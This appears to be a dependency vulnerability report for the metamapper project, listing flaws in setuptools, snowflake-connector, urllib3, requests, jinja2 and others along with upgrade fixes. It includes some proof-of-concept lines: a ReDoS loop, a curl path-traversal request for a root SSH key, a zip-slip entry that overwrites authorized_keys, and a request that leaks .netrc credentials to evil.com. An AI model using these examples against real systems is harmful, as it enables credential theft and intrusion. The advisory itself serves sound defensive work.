The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade setuptools to version 65.5.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: snowflake-connector-python
  • Introduced through: snowflake-connector-python@2.7.3

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3
    Remediation: Upgrade to snowflake-connector-python@2.8.2.

Overview

snowflake-connector-python is a Snowflake Connector for Python

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the usage of insecure regex. Exploiting this vulnerability is possible when an attacker can supply arbitrary input to the get_file_transfer_type method.

PoC

import time
from snowflake.connector.cursor import SnowflakeCursor

for i in range(100):
    start_time = time.time()
    sql = '/**/\n' + '\t/*/get\t*/\t/**/\n'*i + '\t*/get\n'
    SnowflakeCursor.get_file_transfer_type(sql)
    print("--- %s seconds ---" % (time.time() - start_time))

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade snowflake-connector-python to version 2.8.2 or higher.

References

medium severity

Information Exposure Through Sent Data

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.9, botocore@1.24.41 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper urllib3@1.26.9
    Remediation: Upgrade to urllib3@1.26.17.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to botocore@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch@7.9.1 urllib3@1.26.9
    Remediation: Upgrade to elasticsearch@7.17.12.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper s3transfer@0.5.2 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to s3transfer@0.10.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper boto3@1.21.41 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to boto3@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch-dsl@7.3.0 elasticsearch@7.9.1 urllib3@1.26.9
    Remediation: Upgrade to elasticsearch-dsl@8.9.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper boto3@1.21.41 s3transfer@0.5.2 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to boto3@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Information Exposure Through Sent Data when the Cookie HTTP header is used. An attacker can leak information via HTTP redirects to a different origin by exploiting the fact that the Cookie HTTP header isn't stripped on cross-origin redirects.

Note:

This is only exploitable if the user is using the Cookie header on requests, not disabling HTTP redirects, and either not using HTTPS or for the origin server to redirect to a malicious origin.

##Workaround:

This vulnerability can be mitigated by disabling HTTP redirects using redirects=False when sending requests and by not using the Cookie header.

Remediation

Upgrade urllib3 to version 1.26.17, 2.0.6 or higher.

References

medium severity

Arbitrary File Read

  • Vulnerable module: mysql-connector-python
  • Introduced through: mysql-connector-python@8.0.28

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper mysql-connector-python@8.0.28
    Remediation: Upgrade to mysql-connector-python@9.3.0.

Overview

mysql-connector-python is a MySQL driver written in Python which does not depend on MySQL C client libraries and implements the DB API v2.0 specification (PEP-249).

Affected versions of this package are vulnerable to Arbitrary File Read when executing LOCAL INFILE statements due to improper validation of the filename field. An attacker could access critical data by exploiting this vulnerability.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade mysql-connector-python to version 9.3.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: protobuf
  • Introduced through: protobuf@3.20.0, googleapis-common-protos@1.56.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper protobuf@3.20.0
    Remediation: Upgrade to protobuf@3.20.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to googleapis-common-protos@1.62.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 protobuf@3.20.0
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper proto-plus@1.20.3 protobuf@3.20.0
    Remediation: Upgrade to proto-plus@1.23.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper grpcio-status@1.44.0 protobuf@3.20.0
    Remediation: Upgrade to grpcio-status@1.57.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper mysql-connector-python@8.0.28 protobuf@3.20.0
    Remediation: Upgrade to mysql-connector-python@8.2.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper grpcio-status@1.44.0 googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to grpcio-status@1.57.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 proto-plus@1.20.3 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery-storage@2.23.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 proto-plus@1.20.3 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 proto-plus@1.20.3 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

protobuf is a Google’s data interchange format

Affected versions of this package are vulnerable to Denial of Service (DoS) via the MessageSet type, by allowing an attacker to send specially crafted message with multiple key-value per elements, therefore creating parsing issues against services which receive unsanitized input.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade protobuf to version 3.18.3, 3.19.5, 3.20.2, 4.21.6 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: requests
  • Introduced through: requests@2.27.1, google-api-core@2.7.2 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper requests@2.27.1
    Remediation: Upgrade to requests@2.32.4.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 requests@2.27.1
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 requests@2.27.1
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/')

Remediation

Upgrade requests to version 2.32.4 or higher.

References

medium severity

Always-Incorrect Control Flow Implementation

  • Vulnerable module: requests
  • Introduced through: requests@2.27.1, google-api-core@2.7.2 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper requests@2.27.1
    Remediation: Upgrade to requests@2.32.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 requests@2.27.1
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 requests@2.27.1
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

  1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

  2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

  3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

medium severity

NULL Pointer Dereference

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@42.0.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to NULL Pointer Dereference when processing a maliciously formatted PKCS12 file. The vulnerability exists due to improper handling of optional ContentInfo fields, which can be set to null. An attacker can cause a denial of service by sending crafted input that leads to applications loading files in PKCS12 format from untrusted sources to terminate abruptly.

Remediation

Upgrade cryptography to version 42.0.2 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: jinja2
  • Introduced through: jinja2@3.1.1

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper jinja2@3.1.1
    Remediation: Upgrade to jinja2@3.1.3.

Overview

Jinja2 is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the xmlattr filter, when using keys containing spaces in an application accepts keys as user input. An attacker can inject arbitrary HTML attributes into the rendered HTML template, bypassing the auto-escaping mechanism, which may lead to the execution of untrusted scripts in the context of the user's browser session.

Note Accepting keys as user input is not common or a particularly intended use case of the xmlattr filter, and an application doing so should already be verifying what keys are provided regardless of this fix.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade Jinja2 to version 3.1.3 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: jinja2
  • Introduced through: jinja2@3.1.1

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper jinja2@3.1.1
    Remediation: Upgrade to jinja2@3.1.4.

Overview

Jinja2 is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) through the xmlattr filter. An attacker can manipulate the output of web pages by injecting additional attributes into elements, potentially leading to unauthorized actions or information disclosure.

Note: This vulnerability derives from an improper fix of CVE-2024-22195, which only addressed spaces but not other characters.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade Jinja2 to version 3.1.4 or higher.

References

medium severity

Improper Neutralization

  • Vulnerable module: jinja2
  • Introduced through: jinja2@3.1.1

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper jinja2@3.1.1
    Remediation: Upgrade to jinja2@3.1.5.

Overview

Affected versions of this package are vulnerable to Improper Neutralization when importing a macro in a template whose filename is also a template. This will result in a SyntaxError: f-string: invalid syntax error message because the filename is not properly escaped, indicating that it is being treated as a format string.

Note: This is only exploitable when the attacker controls both the content and filename of a template and the application executes untrusted templates.

Remediation

Upgrade jinja2 to version 3.1.5 or higher.

References

medium severity

Template Injection

  • Vulnerable module: jinja2
  • Introduced through: jinja2@3.1.1

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper jinja2@3.1.1
    Remediation: Upgrade to jinja2@3.1.5.

Overview

Affected versions of this package are vulnerable to Template Injection when an attacker controls the content of a template. This is due to an oversight in the sandboxed environment's method detection when using a stored reference to a malicious string's format method, which can then be executed through a filter.

Note: This is only exploitable through custom filters in an application.

Remediation

Upgrade jinja2 to version 3.1.5 or higher.

References

medium severity

Template Injection

  • Vulnerable module: jinja2
  • Introduced through: jinja2@3.1.1

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper jinja2@3.1.1
    Remediation: Upgrade to jinja2@3.1.6.

Overview

Jinja2 is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.

Affected versions of this package are vulnerable to Template Injection through the |attr filter. An attacker that controls the content of a template can escape the sandbox and execute arbitrary Python code by using the |attr filter to get a reference to a string's plain format method, bypassing the environment's attribute lookup.

Note:

This is only exploitable if the application executes untrusted templates.

Remediation

Upgrade Jinja2 to version 3.1.6 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@41.0.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
